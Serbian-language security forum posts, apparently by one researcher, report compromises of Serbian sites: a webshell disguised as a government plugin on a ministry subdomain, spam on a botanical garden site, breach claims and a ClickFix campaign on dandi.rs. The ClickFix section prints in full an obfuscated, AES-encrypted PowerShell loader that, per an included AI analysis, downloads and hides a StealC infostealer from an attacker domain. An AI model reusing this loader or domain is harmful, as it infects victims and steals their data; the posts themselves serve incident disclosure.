Botanička bašta "Jevremovac" je pre pet dana, odnosno od 15. maja, počela da opslužuje spam članke.
oEmbed podaci predstavljaju korisnika "vox" kao autora, što znači da je moguće i da je jednostavno pogođena šifra ili uneta procurela sa interneta. Nije isključeno ni da je ranjivost CMS-a ili plugina u pitanju.
Link ka jednoj spam stranici i oEmbed podacima:
https://jevremovac.bio.bg.ac.rs/2026/05/15/cricket-road-game-money-security-guide/
https://jevremovac.bio.bg.ac.rs/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fjevremovac.bio.bg.ac.rs%2F2026%2F05%2F15%2Fcricket-road-game-money-security-guide%2FLink ka ostalim, ukoliko ne počiste:
https://jevremovac.bio.bg.ac.rs/author/vox
Revealing the Black Box of Device Search Engine: Scanning Assets, Strategies, and Ethical Consideration
Detaljna analiza univerziteta i instituta u Kini za Shodan i familiju
Mali biznis informator, odnosno podsajt preduzetnistvo.gov.rs (koji nema važeći sertifikat od 27. avgusta 2025) je pretrpeo kompromitaciju servera ubacivanjem webshella; sudeći po putanji i vlasništvu fajlova, kompromitacija se najverovatnije desila putem rupe u aplikaciji.
Server se nalazi na infrastrukturi Telekoma Srbije oblaci.rs, adresa 93.87.76.230.
luka@luka3630:~$ getent -s resolve ahostsv4 informator.preduzetnistvo.gov.rs
93.87.76.230 STREAM informator.preduzetnistvo.gov.rs
93.87.76.230 DGRAM
93.87.76.230 RAW
luka@luka3630:~$ dig -x 93.87.76.230 @9.9.9.9 +short
ts915208mbi20221.moji.oblaci.rs.Fajl nokcli.php se na početku pretvara da je od Kancelarije za IT i eUpravu (ITE) i nakon tih varljivih komentara kreće webshell deo:
* nije ceo kôd već odabrani deo
<?php
/*
Plugin Name: ITE Wordpress Plugin
Plugin URI: https://github.com/itegovrs
Description: itegovrs
Author: itegovrs
Version: 1.1.0
Author URI: https://ite.gov.rs/
Text Domain: itegovrs
Domain Path: /languages
License: GPLv3 or later
Network: true
*/
...
<?php
function printPerms($file) {
$mode = fileperms($file);
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
...Ostali:
sha256sum | VT detekcije | Naziv fajla
812cbbf7fd27976ab0576ead9f565c54eb2f41500c7b3da9bde06f0f7c6f89e6 | 0/58 | base64cli.php
e2ebffd27a1f50c8b513a1f4b7cf41df177190dddae13495fffb387e0f1099f2 | 24/59 | tunnel.nosocket.php
5b49a99c2101fa4e3b89a5ae36cf23cb926e71c298e3f0b880da0161943d60ae | 23/63 | tunnel.php
a0625bdb07237e2bc722151d8cfb8e2c2ca0a8fec67391dd5321cf8ffc24c79c | 23/54 | tunnel1.phpDodatno je ubačen Python skener portova koji je već bio pokrenut za LAN:
Kroz webshell su procureli osetljivi podaci poput:
- .env secreta.
- Dumpova produkcione baze na nekoliko lokacija.
- Kompletnog aplikativnog koda i pratećih fajlova aplikacije.
- Privatnog ključa za server.
- I tako dalje...
Mejl koji je procureo se pristupa putem infrastrukture Kancelarije za IT i eUpravu (ITE), adresa 195.222.96.31.
luka@luka3630:~$ dig preduzetnistvo.gov.rs MX @1.1.1.1 +short
10 smtp.gov.rs.
luka@luka3630:~$ getent -s resolve ahostsv4 smtp.gov.rs
195.222.96.31 STREAM smtp.gov.rs
195.222.96.31 DGRAM
195.222.96.31 RAW
luka@luka3630:~$ dig -x 195.222.96 SOA @1.1.1.1 +short
ns1.gov.rs. administrator.uzzpro.gov.rs. 2007080355 10800 3600 1209600 86400Sajt je izradila kompanija Zea Stim R&D:
Epilog:
Pronalzak je odmah prijavljen republičkom CERTu, koji u oba navrata nije odgovorio. Naknadno je prosleđeno Zea Stimu, nakon čega je usledila potpuna nedostupnost servera koja traje do danas:
luka@luka3630:~$ timeout 2m telnet informator.preduzetnistvo.gov.rs 80 || echo "Nedostupan"
Trying 93.87.76.230...
Nedostupan
luka@luka3630:~$ timeout 2m telnet informator.preduzetnistvo.gov.rs 443 || echo "Nedostupan"
Trying 93.87.76.230...
Nedostupan
luka@luka3630:~$ ping -O -c 10 informator.preduzetnistvo.gov.rs
PING informator.preduzetnistvo.gov.rs (93.87.76.230) 56(84) bytes of data.
no answer yet for icmp_seq=1
no answer yet for icmp_seq=2
no answer yet for icmp_seq=3
no answer yet for icmp_seq=4
no answer yet for icmp_seq=5
no answer yet for icmp_seq=6
no answer yet for icmp_seq=7
no answer yet for icmp_seq=8
no answer yet for icmp_seq=9
--- informator.preduzetnistvo.gov.rs ping statistics ---
10 packets transmitted, 0 received, 100% packet loss, time 9218ms
Pored preduzetnistvo.gov.rs - istekao sertifikat na istom sajtu imamo i dopušteno listanje direktorijuma.
Spominjem sertifikat jer ide u prilog konstataciji na toj objavi da je ovaj sajt napušten u junu 2025. godine. Iz listanja direktorijuma se vidi da nema nikakvih otpremljenih fajlova posle tog meseca.
Sertifikat na ovom sajtu Ministarstva privrede koji treba da služi kao pomoć preduzetništvu je istekao još 27.08.2025. Nije ni izdat novi sertifikat što znači da je automatika koja služi za obnovu sertifikata na ovom sajtu u potpunosti zakazala, ako je ikada i postojala jer je možda neko jednostavno prestao ručno da ažurira sertifikat.
Izradu sajta je između ostalih omogućilo i nemačko savezno ministarstvo za privrednu saradnju i razvoj :
Poslednja vest na sajtu je iz juna 2025. što je par meseci pre isteka sertifikata, izgleda da je ovaj sajt napušten?
Kao i u ostatku regiona i Slovenija se našla na meti SMS poruka koje tvrde da postoji neplaćena kazna...
SI-CERT: Obsežen phishing napad pod krinko plačila za cestni prekršek
Sve deluje veoma slično kao i na ostalim kampanjama koje su u skorije vreme pogodile region:
Grupa "The BlackH4t MD-Ghost" je objavila navodnu kompromitaciju baze od 72 miliona nečega sa Telekoma Srbije...
Kao uzorak su stavili zapise koji neodoljivo podsećaju na Kompromitovana baza zahteva za "m:SAT TV" usluge Telekoma Srbije
Navedena količina podataka od 72 miliona i to samo za period 2025-2026 kao i postavljen uzorak koji je možda iz već ranije procurelih podataka baca sumnju na legitimnost ove kompromitacije. Sa druge strane grupa ima reputaciju mnogih ozbiljnih kompromitacija i objave podataka te za sada nije moguće reći sa sigurnošću o čemu se tačno ovde radi.
Otkrio sam da je ovaj sajt u nekom trenutku posetiocima nudio ClickFix napad :
Hteo sam da proverim i analiziram ali izgleda da je domen baš juče uveče nepredviđeno istekao :
Quote:Domain name: poslovniregistar.rs
Domain status: Expired https://www.rnids.rs/en/domain-name-stat...es#Expired
Domain status: serverUpdateProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverTransferProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverHold https://www.rnids.rs/en/domain-name-stat...ServerHold
Domain status: serverDeleteProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverTradeProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverChangeDetailsProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverRegistrantNameChangeProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverContactDataChangeProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Domain status: serverDnsChangeProhibited https://www.rnids.rs/en/domain-name-stat...Prohibited
Registration date: 17.05.2022 19:21:42
Modification date: 08.05.2026 11:12:44
Expiration date: 17.05.2026 19:21:42
Confirmed: 01.06.2022 14:37:26
Registrar: mCloud doo
Registrant: NGI Gregorcic business solution doo
Address: Ulica 40. nova 18, Palic, Serbia
Postal Code: 24413
ID Number: 21595683
Tax ID: 112041802
IP adresa sajta dok je radio je bila 93.188.2.51
Obzirom da je sajt na Loopia hostingu i da je na platformi abuse.ch pronađen u isto vreme kada i dandi.rs - clickfix na sajtu - payload domeni preko Polygon blokčejna pretpostaviću da se radi o istoj ClickFix kompromitaciji, ali dok se ne vrati sajt ne mogu da proverim da li je još aktivno i kako tačno funkcioniše.
Postoje indikacije na URLScanu da je sajt bio zaražen ClickFix napadom minimum od 14.04.2026 kao i da se sajt učitavao sa Polygon blokčejna isto kao i taj drugi :
Kada se ode na dandi.rs dobije se clickfix napad :
dandi.rs has address 93.188.2.53Prema onome što sam našao ovaj sajt je kompromitovan najmanje od 2026-05-02 i još uvek je aktivna clickfix kampanja.
kKôd koji aktivira ClickFix se izgleda nalazi na dnu index fajla na sajtu što znači da ovde potencijalno nije kompromitovan WordPress nego nalog na Loopia hostingu gde su maliciozni akteri dodali kod na dno stranice :
ClickFix napad je aktivan toliko dugo jer je kompleksan i jer dobija nove domene preko blockchaina te će ostati aktivan sve dok se ne očisti kompromitacija sa dandi.rs
naime skripta koja je na samom dandi sajtu šalje POST request na Polygon smart contract od kojeg dobija odgovor :
Preko Polygona vidimo da ovaj Smart Contract ima oko 1-2 transakcija na dan što znači da redovno menjaju domene da bi održali napade: https://polygonscan.com/address/0x08207B...#analytics
U ABI enkodovanom odgovoru sa Polygona se nalazi trenutno domen marinaradom[.]cfd
Ova kampanja je izuzetno otporna jednom kada je prvobitni maliciozni kôd inficirao Wordpress sajt, ide i do toga da traži odgovor od raznih APIja u slučaju da neki ne radi ili ne daje odgovor :
Sve dok se Smart Contract ažurira sa novim domenima svaki sajt koji je inficiran će da širi ClickFix napad
Onda skripta na dandi sajtu sklopi sledeći zamagljen džumbus koji se nađe u klipbordu posetilaca spremno da se nalepi u powershell i zarazi računar :
$pipe6j=[Convert]::FromBase64String('3h9SX/I8IF4Ch1xX+CENEsk4I8imSnUHWOWXCRYt6Tk=');$handle2d=[Convert]::FromBase64String('sYD/L2RHLOd3epB4e8GGNA==');$auth7c=[Convert]::FromBase64String('dXMzqW2fR3wwsIkgbgMX1+G5+XuLXMY0j9aDpgVXqtyVg+vwDVBAmFjy5BYs1rqFb5Oc5M8BSwm26wsjqPULQ6SniQR6E1Udgxu8SZ/UOJriDNsI/WSDv38su66ap55jJbryueNWDFyUujq7D3DcSFJZP+t1w/QQofJczY5Ey0ByYp1Gr9IX8XXdFyPKGWXMxkDN6VDb/dcHUne6AJncNwsG6gHblIl5k+dgA67H/lZRFVmU+uXiwHx6KBkukilTN0rgan7MKR02UUhzzkBTIIYeXxMYvU6mTqdMyOqAesujB7gs29m4UfibhtnFDkFIe7ul1brzwFXRpBjpRQ95UaPzMGkfg8GUgsL2lNvSyt5ZJjoWVMc/eqxAyPsBHxcUV+zEVqWq1eHozLdhXS2HIDEexAlgXpzch4q+eoSEMU+nG0epSSPD/kB4WvpguPRKx5LkPc4BE92LBb+4Inc2bwK6nfit+KNWs6OXixqp52p1BZs4Kgf3sUXEtryyB83aIguaXf6G4Uzlezp/JnbN1gCXSmlA7g5oix23/QNog20hKWPe/BSolXTNEFLP14PGnWkUeD87rBcZp/vECBL2XMXsIFKHGgVVA9WI1pdtxmXygejjxG1kZSaylNIwHpSwEaKRCmlDwdyQXRFSVkLPYzE6M8NVy/K5cOsYLNZJZpJvV77k62qB+dVK4p2AnqeBmePz8envkpt3/q4lsHKqrHSffh5Bp+sTr7wi0Smft6NfTd3p2R9+JPc5Paeh/psAiHdtMCm29RcuVWlh3DU86+C9K8xiO1O1jsFOLS5J44O1RDw6/+vsLcg71nZsZk9cSWFmNNb8XrZ+QqZTaRzxmToAorkmtCb13knmE34vITgKR0xE/Ze4trRY1jHR6QEZrYmuVVjFMp7or05CaTgAodyPw1qRqz1/mARgjZ0x8UipShG5KCejUqEQL8U44LCT+AzhiXo2+nazv5/m5s4HFaidwfEAlGYRCXfyLL+wfFS8AWLgqsp7J2DWu1vQ2k5KGHO7wriunGtqI5fug9ZuUXvfsOvfmQIgw07uW/Kjybdo+OQUuT3HKW0ZrDZ7J7urIw1SzRUI9e0EGI6QayYPEXwCcJJ2TmfW+KSwVzYy0aX+RDJxQlJnetKcNlV6AZyHqg0nfhlQitULngJjnaeKYTNPjrmFX4YVvxzFPc6ZbbEu2El+lHru+k0CAJMafMswZHn3lDlf+YF9pPabm0lh21/pbcfrLNW2sWXBPp5K6QYTP4MJbJpjx+hO+frHKt4EZOT7K7kG4Ei79VpgHSgPGdI6JZ+uz0mDAMOnwv4csdKlylV4byme1+b5+beUILT0PkqsioNAM0NGoMQeGu2I9SPEmn0IB9PlwXsdnEv+bD+kOcH7rSqQ4uxdacLHkpbdqnVtUHSvtJ5dzkEKhJQkVXCdjtTJQ7pCopz7XeQ5DuZmIn/mdCNXzwra+OoP0q7qxOmRzhqZX/8D9MO/XwyJ2Y+M+8Kp6dt4J3uDYlshzE0=');$handle6j=([type]('Security.Cryptog'+'raphy.Aes'));$sync5b=$handle6j::Create();$sync5b.Key=$pipe6j;$sync5b.IV=$handle2d;$sync5b.Mode='CBC';$sync5b.Padding='PKCS7';$scope3a=[Text.Encoding]::UTF8.GetString($sync5b.CreateDecryptor().TransformFinalBlock($auth7c,0,$auth7c.Length));$sync5b.Dispose();[scriptblock]::Create($scope3a).Invoke();exitPosle AI analize saznajem šta radi :
Quote:What this malware does:
- Creates a random temporary directory (e.g.,C:\Users\...\AppData\Local\Temp\randomfolder\)
- Downloads an executable from:
text
marinaradom[.]cfd/api/index.php?a=dl&token=8caaf953d89478b8a7191eb32295c117a310b53ac9059d4ad69a1e397ec3b2d4&src=dandi.rs&mode=cloudflare
- Saves it as a random .exe file in that temp folder
- Executes the downloaded malware using three fallback methods (tries each until one works):
- WMI Win32_Process.Create
- WScript.Shell COM object (hidden window) Process.Start()
- with hidden window
- Deletes the .exe file after execution (to evade detection)
Domen koji je sveže registrovan ima nešto malo detekcija :
https://www.virustotal.com/gui/domain/ma.../detection
EXE fajl koji se skida ima mnogo više detekcija, u pitanju je kradljivac podataka "StealC"...
https://www.virustotal.com/gui/file/4bbd.../detection
Zlonamerni akter je na jednom forumu objavio prodaju podataka navodno od firme TRILIX iz Hrvatske.
Quote:Prema objavi, procurili podaci navodno uključuju:
podatke o transakcijama s više od 14.000 terminala diljem Hrvatske
podatke o zaposlenicima
adrese e-pošte
brojeve telefona
OIB identifikatore
kućne adrese
zahtjeve za podršku
popise korisnika web terminala
Akteri tvrde da posjeduju otprilike 300.000 zapisa iz razdoblja od 2019. do 2026. godine.
Formatiranje teksta kao i sam tekst objave na tom forumu je veoma sličan sa drugim nalogom na forumu koji je istog dana objavio prodaju Navodno kompromitovani podaci Uprave za Strance od MUP Srbije
Ovo može da znači da je isti akter u pitanju ili deo iste ekipe, a može i da neko namerno kopira isti tekst da bi zavarao trag, pripisivanje radnji u sajber svetu nekom konkretnom akteru je izuzetno teško.
Firma Trilix je 30.3.2026. objavila obaveštenje o sigurnosnom incidentu, ovi podaci su verovatno rezultat tog incidenta.